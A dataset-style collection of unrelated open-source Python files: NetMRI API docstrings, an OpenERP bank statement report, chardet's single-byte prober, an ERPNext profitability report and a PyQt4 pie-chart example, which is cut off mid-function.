id using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_id must be specified if op_id is specified. :type val_f_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_id: If op_id is specified, this value will be compared to the value in id using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_id must be specified if op_id is specified. :type val_c_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_name: The operator to apply to the field name. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. name: The name of subtask. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_name: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_name: If op_name is specified, the field named in this input will be compared to the value in name using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_name must be specified if op_name is specified. :type val_f_name: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_name: If op_name is specified, this value will be compared to the value in name using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_name must be specified if op_name is specified. :type val_c_name: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_status: The operator to apply to the field status. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. status: The status of subtask. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_status: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_status: If op_status is specified, the field named in this input will be compared to the value in status using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_status must be specified if op_status is specified. :type val_f_status: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_status: If op_status is specified, this value will be compared to the value in status using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_status must be specified if op_status is specified. :type val_c_status: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_updated_at: The operator to apply to the field updated_at. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. updated_at: The date and time the record was last modified in NetMRI. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_updated_at: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_updated_at: If op_updated_at is specified, the field named in this input will be compared to the value in updated_at using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_updated_at must be specified if op_updated_at is specified. :type val_f_updated_at: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_updated_at: If op_updated_at is specified, this value will be compared to the value in updated_at using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_updated_at must be specified if op_updated_at is specified. :type val_c_updated_at: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` id :param sort: The data field(s) to use for sorting the output. Default is id. Valid values are id, background_task_id, name, status, detail, created_at, updated_at. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each BackgroundTasksSubtask. Valid values are id, background_task_id, name, status, detail, created_at, updated_at. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String | ``api version min:`` 2.3 | ``api version max:`` None | ``required:`` False | ``default:`` None :param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering. :type xml_filter: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return background_tasks_subtasks: An array of the BackgroundTasksSubtask objects that match the specified input criteria. :rtype background_tasks_subtasks: Array of BackgroundTasksSubtask """ return self.api_list_request(self._get_method_fullname("find"), kwargs) def create(self, **kwargs): """Creates a new background tasks subtask. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` True | ``default:`` None :param background_task_id: The internal NetMRI identifier for background task this subtask belong to. :type background_task_id: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param detail: Detailed description of subtask. :type detail: String | ``api version min:`` None | ``api version max:`` None | ``required:`` True | ``default:`` None :param name: The name of subtask. :type name: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param status: The status of subtask. :type status: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return id: The id of the newly created background tasks subtask. :rtype id: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return model: The class name of the newly created background tasks subtask. :rtype model: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return uri: A URI that may be used to retrieve the newly created background tasks subtask. :rtype uri: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return background_tasks_subtask: The newly created background tasks subtask. :rtype background_tasks_subtask: BackgroundTasksSubtask """ return self.api_request(self._get_method_fullname("create"), kwargs) def update(self, **kwargs): """Updates an existing background tasks subtask. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` True | ``default:`` None :param id: The internal NetMRI identifier for this subtask. :type id: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param background_task_id: The internal NetMRI identifier for background task this subtask belong to. If omitted, this field will not be updated. :type background_task_id: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param detail: Detailed description of subtask. If omitted, this field will not be updated. :type detail: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param name: The name of subtask. If omitted, this field will not be updated. :type name: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param status: The status of subtask. If omitted, this field will not be updated. :type status: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return id: The id of the updated background tasks subtask. :rtype id: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return model: The class name of the updated background tasks subtask. :rtype model: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return uri: A URI that may be used to retrieve the updated background tasks subtask. :rtype uri: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return background_tasks_subtask: The updated background tasks subtask. :rtype background_tasks_subtask: BackgroundTasksSubtask """ return self.api_request(self._get_method_fullname("update"), kwargs) def destroy(self, **kwargs): """Deletes the specified background tasks subtask from NetMRI. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` True | ``default:`` None :param id: The internal NetMRI identifier for this subtask. :type id: Integer **Outputs** """ return self.api_request(self._get_method_fullname("destroy"), kwargs)
apache-2.0
patriciolobos/desa8
openerp/addons/account_bank_statement_extensions/report/bank_statement_balance_report.py
378
2723
# -*- encoding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # # Copyright (c) 2011 Noviat nv/sa (www.noviat.be). All rights reserved. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import time from openerp.osv import osv from openerp.report import report_sxw class bank_statement_balance_report(report_sxw.rml_parse): def set_context(self, objects, data, ids, report_type=None): cr = self.cr cr.execute('SELECT s.name as s_name, s.date AS s_date, j.code as j_code, s.balance_end_real as s_balance ' \ 'FROM account_bank_statement s ' \ 'INNER JOIN account_journal j on s.journal_id = j.id ' \ 'INNER JOIN ' \ '(SELECT journal_id, max(date) as max_date FROM account_bank_statement ' \ 'GROUP BY journal_id) d ' \ 'ON (s.journal_id = d.journal_id AND s.date = d.max_date) ' \ 'ORDER BY j.code') lines = cr.dictfetchall() self.localcontext.update( { 'lines': lines, }) super(bank_statement_balance_report, self).set_context(objects, data, ids, report_type=report_type) def __init__(self, cr, uid, name, context): if context is None: context = {} super(bank_statement_balance_report, self).__init__(cr, uid, name, context=context) self.localcontext.update( { 'time': time, }) self.context = context class report_bankstatementbalance(osv.AbstractModel): _name = 'report.account_bank_statement_extensions.report_bankstatementbalance' _inherit = 'report.abstract_report' _template = 'account_bank_statement_extensions.report_bankstatementbalance' _wrapped_report_class = bank_statement_balance_report # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
topic2k/EventGhost
lib27/site-packages/requests/packages/chardet/sbcsgroupprober.py
2936
3291
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetgroupprober import CharSetGroupProber from .sbcharsetprober import SingleByteCharSetProber from .langcyrillicmodel import (Win1251CyrillicModel, Koi8rModel, Latin5CyrillicModel, MacCyrillicModel, Ibm866Model, Ibm855Model) from .langgreekmodel import Latin7GreekModel, Win1253GreekModel from .langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel from .langthaimodel import TIS620ThaiModel from .langhebrewmodel import Win1255HebrewModel from .hebrewprober import HebrewProber class SBCSGroupProber(CharSetGroupProber): def __init__(self): CharSetGroupProber.__init__(self) self._mProbers = [ SingleByteCharSetProber(Win1251CyrillicModel), SingleByteCharSetProber(Koi8rModel), SingleByteCharSetProber(Latin5CyrillicModel), SingleByteCharSetProber(MacCyrillicModel), SingleByteCharSetProber(Ibm866Model), SingleByteCharSetProber(Ibm855Model), SingleByteCharSetProber(Latin7GreekModel), SingleByteCharSetProber(Win1253GreekModel), SingleByteCharSetProber(Latin5BulgarianModel), SingleByteCharSetProber(Win1251BulgarianModel), SingleByteCharSetProber(Latin2HungarianModel), SingleByteCharSetProber(Win1250HungarianModel), SingleByteCharSetProber(TIS620ThaiModel), ] hebrewProber = HebrewProber() logicalHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, False, hebrewProber) visualHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, True, hebrewProber) hebrewProber.set_model_probers(logicalHebrewProber, visualHebrewProber) self._mProbers.extend([hebrewProber, logicalHebrewProber, visualHebrewProber]) self.reset()
gpl-2.0
bohlian/erpnext
erpnext/accounts/report/profitability_analysis/profitability_analysis.py
28
5682
# Copyright (c) 2013, Frappe Technologies Pvt. Ltd. and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe import _ from frappe.utils import flt, getdate, formatdate, cstr from erpnext.accounts.report.financial_statements import filter_accounts, filter_out_zero_value_rows from erpnext.accounts.report.trial_balance.trial_balance import validate_filters value_fields = ("income", "expense", "gross_profit_loss") def execute(filters=None): if not filters.get('based_on'): filters["based_on"] = 'Cost Center' based_on = filters.based_on.replace(' ', '_').lower() validate_filters(filters) accounts = get_accounts_data(based_on, filters.get("company")) data = get_data(accounts, filters, based_on) columns = get_columns(filters) return columns, data def get_accounts_data(based_on, company): if based_on == 'cost_center': return frappe.db.sql("""select name, parent_cost_center as parent_account, cost_center_name as account_name, lft, rgt from `tabCost Center` where company=%s order by name""", company, as_dict=True) else: return frappe.get_all('Project', fields = ["name"], filters = {'company': company}, order_by = 'name') def get_data(accounts, filters, based_on): if not accounts: return [] accounts, accounts_by_name, parent_children_map = filter_accounts(accounts) gl_entries_by_account = {} set_gl_entries_by_account(filters.get("company"), filters.get("from_date"), filters.get("to_date"), based_on, gl_entries_by_account, ignore_closing_entries=not flt(filters.get("with_period_closing_entry"))) total_row = calculate_values(accounts, gl_entries_by_account, filters) accumulate_values_into_parents(accounts, accounts_by_name) data = prepare_data(accounts, filters, total_row, parent_children_map, based_on) data = filter_out_zero_value_rows(data, parent_children_map, show_zero_values=filters.get("show_zero_values")) return data def calculate_values(accounts, gl_entries_by_account, filters): init = { "income": 0.0, "expense": 0.0, "gross_profit_loss": 0.0 } total_row = { "cost_center": None, "account_name": "'" + _("Total") + "'", "warn_if_negative": True, "income": 0.0, "expense": 0.0, "gross_profit_loss": 0.0, "account": "'" + _("Total") + "'", "parent_account": None, "indent": 0, "has_value": True } for d in accounts: d.update(init.copy()) # add opening for entry in gl_entries_by_account.get(d.name, []): if cstr(entry.is_opening) != "Yes": if entry.type == 'Income': d["income"] += flt(entry.credit) - flt(entry.debit) if entry.type == 'Expense': d["expense"] += flt(entry.debit) - flt(entry.credit) d["gross_profit_loss"] = d.get("income") - d.get("expense") total_row["income"] += d["income"] total_row["expense"] += d["expense"] total_row["gross_profit_loss"] = total_row.get("income") - total_row.get("expense") return total_row def accumulate_values_into_parents(accounts, accounts_by_name): for d in reversed(accounts): if d.parent_account: for key in value_fields: accounts_by_name[d.parent_account][key] += d[key] def prepare_data(accounts, filters, total_row, parent_children_map, based_on): data = [] company_currency = frappe.db.get_value("Company", filters.get("company"), "default_currency") for d in accounts: has_value = False row = { "account_name": d.account_name or d.name, "account": d.name, "parent_account": d.parent_account, "indent": d.indent, "fiscal_year": filters.get("fiscal_year"), "currency": company_currency, "based_on": based_on } for key in value_fields: row[key] = flt(d.get(key, 0.0), 3) if abs(row[key]) >= 0.005: # ignore zero values has_value = True row["has_value"] = has_value data.append(row) data.extend([{},total_row]) return data def get_columns(filters): return [ { "fieldname": "account", "label": _(filters.get("based_on")), "fieldtype": "Link", "options": filters.get("based_on"), "width": 300 }, { "fieldname": "income", "label": _("Income"), "fieldtype": "Currency", "options": "currency", "width": 120 }, { "fieldname": "expense", "label": _("Expense"), "fieldtype": "Currency", "options": "currency", "width": 120 }, { "fieldname": "gross_profit_loss", "label": _("Gross Profit / Loss"), "fieldtype": "Currency", "options": "currency", "width": 120 }, { "fieldname": "currency", "label": _("Currency"), "fieldtype": "Link", "options": "Currency", "hidden": 1 } ] def set_gl_entries_by_account(company, from_date, to_date, based_on, gl_entries_by_account, ignore_closing_entries=False): """Returns a dict like { "account": [gl entries], ... }""" additional_conditions = [] if ignore_closing_entries: additional_conditions.append("and ifnull(voucher_type, '')!='Period Closing Voucher'") if from_date: additional_conditions.append("and posting_date >= %(from_date)s") gl_entries = frappe.db.sql("""select posting_date, {based_on} as based_on, debit, credit, is_opening, (select root_type from `tabAccount` where name = account) as type from `tabGL Entry` where company=%(company)s {additional_conditions} and posting_date <= %(to_date)s and {based_on} is not null order by {based_on}, posting_date""".format(additional_conditions="\n".join(additional_conditions), based_on= based_on), { "company": company, "from_date": from_date, "to_date": to_date }, as_dict=True) for entry in gl_entries: gl_entries_by_account.setdefault(entry.based_on, []).append(entry) return gl_entries_by_account
gpl-3.0
barryrobison/arsenalsuite
cpp/lib/PyQt4/examples/itemviews/chart/chart.py
15
21752
#!/usr/bin/env python ############################################################################# ## ## Copyright (C) 2010 Riverbank Computing Limited. ## Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ## All rights reserved. ## ## This file is part of the examples of PyQt. ## ## $QT_BEGIN_LICENSE:BSD$ ## You may use this file under the terms of the BSD license as follows: ## ## "Redistribution and use in source and binary forms, with or without ## modification, are permitted provided that the following conditions are ## met: ## * Redistributions of source code must retain the above copyright ## notice, this list of conditions and the following disclaimer. ## * Redistributions in binary form must reproduce the above copyright ## notice, this list of conditions and the following disclaimer in ## the documentation and/or other materials provided with the ## distribution. ## * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor ## the names of its contributors may be used to endorse or promote ## products derived from this software without specific prior written ## permission. ## ## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." ## $QT_END_LICENSE$ ## ############################################################################# # These are only needed for Python v2 but are harmless for Python v3. import sip sip.setapi('QString', 2) sip.setapi('QVariant', 2) import math from PyQt4 import QtCore, QtGui import chart_rc class PieView(QtGui.QAbstractItemView): def __init__(self, parent=None): super(PieView, self).__init__(parent) self.horizontalScrollBar().setRange(0, 0) self.verticalScrollBar().setRange(0, 0) self.margin = 8 self.totalSize = 300 self.pieSize = self.totalSize - 2*self.margin self.validItems = 0 self.totalValue = 0.0 self.origin = QtCore.QPoint() self.rubberBand = None def dataChanged(self, topLeft, bottomRight): super(PieView, self).dataChanged(topLeft, bottomRight) self.validItems = 0 self.totalValue = 0.0 for row in range(self.model().rowCount(self.rootIndex())): index = self.model().index(row, 1, self.rootIndex()) value = self.model().data(index) if value is not None and value > 0.0: self.totalValue += value self.validItems += 1 self.viewport().update() def edit(self, index, trigger, event): if index.column() == 0: return super(PieView, self).edit(index, trigger, event) else: return False def indexAt(self, point): if self.validItems == 0: return QtCore.QModelIndex() # Transform the view coordinates into contents widget coordinates. wx = point.x() + self.horizontalScrollBar().value() wy = point.y() + self.verticalScrollBar().value() if wx < self.totalSize: cx = wx - self.totalSize/2 cy = self.totalSize/2 - wy; # positive cy for items above the center # Determine the distance from the center point of the pie chart. d = (cx**2 + cy**2)**0.5 if d == 0 or d > self.pieSize/2: return QtCore.QModelIndex() # Determine the angle of the point. angle = (180 / math.pi) * math.acos(cx/d) if cy < 0: angle = 360 - angle # Find the relevant slice of the pie. startAngle = 0.0 for row in range(self.model().rowCount(self.rootIndex())): index = self.model().index(row, 1, self.rootIndex()) value = self.model().data(index) if value > 0.0: sliceAngle = 360*value/self.totalValue if angle >= startAngle and angle < (startAngle + sliceAngle): return self.model().index(row, 1, self.rootIndex()) startAngle += sliceAngle else: itemHeight = QtGui.QFontMetrics(self.viewOptions().font).height() listItem = int((wy - self.margin) / itemHeight) validRow = 0 for row in range(self.model().rowCount(self.rootIndex())): index = self.model().index(row, 1, self.rootIndex()) if self.model().data(index) > 0.0: if listItem == validRow: return self.model().index(row, 0, self.rootIndex()) # Update the list index that corresponds to the next valid # row. validRow += 1 return QtCore.QModelIndex() def isIndexHidden(self, index): return False def itemRect(self, index): if not index.isValid(): return QtCore.QRect() # Check whether the index's row is in the list of rows represented # by slices. if index.column() != 1: valueIndex = self.model().index(index.row(), 1, self.rootIndex()) else: valueIndex = index if self.model().data(valueIndex) > 0.0: listItem = 0 for row in range(index.row()-1, -1, -1): if self.model().data(self.model().index(row, 1, self.rootIndex())) > 0.0: listItem += 1 if index.column() == 0: itemHeight = QtGui.QFontMetrics(self.viewOptions().font).height() return QtCore.QRect(self.totalSize, int(self.margin + listItem*itemHeight), self.totalSize - self.margin, int(itemHeight)) elif index.column() == 1: return self.viewport().rect() return QtCore.QRect() def itemRegion(self, index): if not index.isValid(): return QtGui.QRegion() if index.column() != 1: return QtGui.QRegion(self.itemRect(index)) if self.model().data(index) <= 0.0: return QtGui.QRegion() startAngle = 0.0 for row in range(self.model().rowCount(self.rootIndex())): sliceIndex = self.model().index(row, 1, self.rootIndex()) value = self.model().data(sliceIndex) if value > 0.0: angle = 360*value/self.totalValue if sliceIndex == index: slicePath = QtGui.QPainterPath() slicePath.moveTo(self.totalSize/2, self.totalSize/2) slicePath.arcTo(self.margin, self.margin, self.margin+self.pieSize, self.margin+self.pieSize, startAngle, angle) slicePath.closeSubpath() return QtGui.QRegion(slicePath.toFillPolygon().toPolygon()) startAngle += angle return QtGui.QRegion() def horizontalOffset(self): return self.horizontalScrollBar().value() def mousePressEvent(self, event): super(PieView, self).mousePressEvent(event) self.origin = event.pos() if not self.rubberBand: self.rubberBand = QtGui.QRubberBand(QtGui.QRubberBand.Rectangle, self) self.rubberBand.setGeometry(QtCore.QRect(self.origin, QtCore.QSize())) self.rubberBand.show() def mouseMoveEvent(self, event): if self.rubberBand: self.rubberBand.setGeometry(QtCore.QRect(self.origin, event.pos()).normalized()) super(PieView, self).mouseMoveEvent(event) def mouseReleaseEvent(self, event): super(PieView, self).mouseReleaseEvent(event) if self.rubberBand: self.rubberBand.hide() self.viewport().update() def moveCursor(self, cursorAction, modifiers): current = self.currentIndex() if cursorAction == QtGui.QAbstractItemView.MoveLeft or \ cursorAction == QtGui.QAbstractItemView.MoveUp: if current.row() > 0: current = self.model().index(current.row() - 1, current.column(), self.rootIndex()) else: current = self.model().index(0, current.column(), self.rootIndex()) elif cursorAction == QtGui.QAbstractItemView.MoveRight or \ cursorAction == QtGui.QAbstractItemView.MoveDown: if current.row() < rows(current) - 1: current = self.model().index(current.row() + 1, current.column(), self.rootIndex()) else: current = self.model().index(rows(current) - 1, current.column(), self.rootIndex()) self.viewport().update() return current def paintEvent(self, event): selections = self.selectionModel() option = self.viewOptions() state = option.state background = option.palette.base() foreground = QtGui.QPen(option.palette.color(QtGui.QPalette.WindowText)) textPen = QtGui.QPen(option.palette.color(QtGui.QPalette.Text)) highlightedPen = QtGui.QPen(option.palette.color(QtGui.QPalette.HighlightedText)) painter = QtGui.QPainter(self.viewport()) painter.setRenderHint(QtGui.QPainter.Antialiasing) painter.fillRect(event.rect(), background) painter.setPen(foreground) # Viewport rectangles pieRect = QtCore.QRect(self.margin, self.margin, self.pieSize, self.pieSize) keyPoint = QtCore.QPoint(self.totalSize - self.horizontalScrollBar().value(), self.margin - self.verticalScrollBar().value()) if self.validItems > 0: painter.save() painter.translate(pieRect.x() - self.horizontalScrollBar().value(), pieRect.y() - self.verticalScrollBar().value()) painter.drawEllipse(0, 0, self.pieSize, self.pieSize) startAngle = 0.0 for row in range(self.model().rowCount(self.rootIndex())): index = self.model().index(row, 1, self.rootIndex()) value = self.model().data(index) if value > 0.0: angle = 360*value/self.totalValue colorIndex = self.model().index(row, 0, self.rootIndex()) color = self.model().data(colorIndex, QtCore.Qt.DecorationRole) if self.currentIndex() == index: painter.setBrush(QtGui.QBrush(color, QtCore.Qt.Dense4Pattern)) elif selections.isSelected(index): painter.setBrush(QtGui.QBrush(color, QtCore.Qt.Dense3Pattern)) else: painter.setBrush(QtGui.QBrush(color)) painter.drawPie(0, 0, self.pieSize, self.pieSize, int(startAngle*16), int(angle*16)) startAngle += angle painter.restore() keyNumber = 0 for row in range(self.model().rowCount(self.rootIndex())): index = self.model().index(row, 1, self.rootIndex()) value = self.model().data(index) if value > 0.0: labelIndex = self.model().index(row, 0, self.rootIndex()) option = self.viewOptions() option.rect = self.visualRect(labelIndex) if selections.isSelected(labelIndex): option.state |= QtGui.QStyle.State_Selected if self.currentIndex() == labelIndex: option.state |= QtGui.QStyle.State_HasFocus self.itemDelegate().paint(painter, option, labelIndex) keyNumber += 1 def resizeEvent(self, event): self.updateGeometries() def rows(self, index): return self.model().rowCount(self.model().parent(index)) def rowsInserted(self, parent, start, end): for row in range(start, end + 1): index = self.model().index(row, 1, self.rootIndex()) value = self.model().data(index) if value is not None and value > 0.0: self.totalValue += value self.validItems += 1 super(PieView, self).rowsInserted(parent, start, end) def rowsAboutToBeRemoved(self, parent, start, end): for row in range(start, end + 1): index = self.model().index(row, 1, self.rootIndex()) value = self.model().data(index) if value is not None and value > 0.0: self.totalValue -= value self.validItems -= 1 super(PieView, self).rowsAboutToBeRemoved(parent, start, end) def scrollContentsBy(self, dx, dy): self.viewport().scroll(dx, dy) def scrollTo(self, index, ScrollHint): area = self.viewport().rect() rect = self.visualRect(index) if rect.left() < area.left(): self.horizontalScrollBar().setValue( self.horizontalScrollBar().value() + rect.left() - area.left()) elif rect.right() > area.right(): self.horizontalScrollBar().setValue( self.horizontalScrollBar().value() + min( rect.right() - area.right(), rect.left() - area.left())) if rect.top() < area.top(): self.verticalScrollBar().setValue( self.verticalScrollBar().value() + rect.top() - area.top()) elif rect.bottom() > area.bottom(): self.verticalScrollBar().setValue( self.verticalScrollBar().value() + min( rect.bottom() - area.bottom(), rect.top() - area.top())) def setSelection(self, rect, command): # Use content widget coordinates because we will use the itemRegion() # function to check for intersections. contentsRect = rect.translated(self.horizontalScrollBar().value(), self.verticalScrollBar().value()).normalized() rows = self.model().rowCount(self.rootIndex()) columns = self.model().columnCount(self.rootIndex()) indexes = [] for row in range(rows): for column in range(columns): index = self.model().index(row, column, self.rootIndex()) region = self.itemRegion(index) if not region.intersect(QtGui.QRegion(contentsRect)).isEmpty(): indexes.append(index) if len(indexes) > 0: firstRow = indexes[0].row() lastRow = indexes[0].row() firstColumn = indexes[0].column() lastColumn = indexes[0].column() for i in range(1, len(indexes)): firstRow = min(firstRow, indexes[i].row()) lastRow = max(lastRow, indexes[i].row()) firstColumn = min(firstColumn, indexes[i].column()) lastColumn = max(lastColumn, indexes[i].column()) selection = QtGui.QItemSelection( self.model().index(firstRow, firstColumn, self.rootIndex()), self.model().index(lastRow, lastColumn, self.rootIndex())) self.selectionModel().select(selection, command) else: noIndex = QtCore.QModelIndex() selection = QtGui.QItemSelection(noIndex, noIndex) self.selectionModel().select(selection, command) self.update() def updateGeometries(self): self.horizontalScrollBar().setPageStep(self.viewport().width()) self.horizontalScrollBar().setRange(0, max(0, 2*self.totalSize - self.viewport().width())) self.verticalScrollBar().setPageStep(self.viewport().height()) self.verticalScrollBar().setRange(0, max(0, self.totalSize - self.viewport().height())) def verticalOffset(self): return self.verticalScrollBar().value() def visualRect(self, index): rect = self.itemRect(index) if rect.isValid(): return QtCore.QRect(rect.left() - self.horizontalScrollBar().value(), rect.top() - self.verticalScrollBar().value(), rect.width(), rect.height()) else: return rect def visualRegionForSelection(self, selection): region = QtGui.QRegion() for span in selection: for row in range(span.top(), span.bottom() + 1): for col in range(span.left(), span.right() + 1): index = self.model().index(row, col, self.rootIndex()) region += self.visualRect(index) return region class MainWindow(QtGui.QMainWindow): def __init__(self): super(MainWindow, self).__init__() fileMenu = QtGui.QMenu("&File", self) openAction = fileMenu.addAction("&Open...") openAction.setShortcut("Ctrl+O") saveAction = fileMenu.addAction("&Save As...") saveAction.setShortcut("Ctrl+S") quitAction = fileMenu.addAction("E&xit") quitAction.setShortcut("Ctrl+Q") self.setupModel() self.setupViews() openAction.triggered.connect(self.openFile) saveAction.triggered.connect(self.saveFile) quitAction.triggered.connect(QtGui.qApp.quit) self.menuBar().addMenu(fileMenu) self.statusBar() self.openFile(':/Charts/qtdata.cht') self.setWindowTitle("Chart") self.resize(870, 550) def setupModel(self): self.model = QtGui.QStandardItemModel(8, 2, self) self.model.setHeaderData(0, QtCore.Qt.Horizontal, "Label") self.model.setHeaderData(1, QtCore.Qt.Horizontal, "Quantity") def setupViews(self): splitter = QtGui.QSplitter() table = QtGui.QTableView() self.pieChart = PieView() splitter.addWidget(table) splitter.addWidget(self.pieChart) splitter.setStretchFactor(0, 0) splitter.setStretchFactor(1, 1) table.setModel(self.model) self.pieChart.setModel(self.model) self.selectionModel = QtGui.QItemSelectionModel(self.model) table.setSelectionModel(self.selectionModel) self.pieChart.setSelectionModel(self.selectionModel) table.horizontalHeader().setStretchLastSection(True) self.setCentralWidget(splitter) def openFile(self, path=None): if not path: path = QtGui.QFileDialog.getOpenFileName(self, "Choose a data file", '', '*.cht') if path: f = QtCore.QFile(path) if f.open(QtCore.QFile.ReadOnly | QtCore.QFile.Text): stream = QtCore.QTextStream(f) self.model.removeRows(0, self.model.rowCount(QtCore.QModelIndex()), QtCore.QModelIndex()) row = 0 line = stream.readLine() while line: self.model.insertRows(row, 1, QtCore.QModelIndex()) pieces = line.split(',') self.model.setData(self.model.index(row, 0, 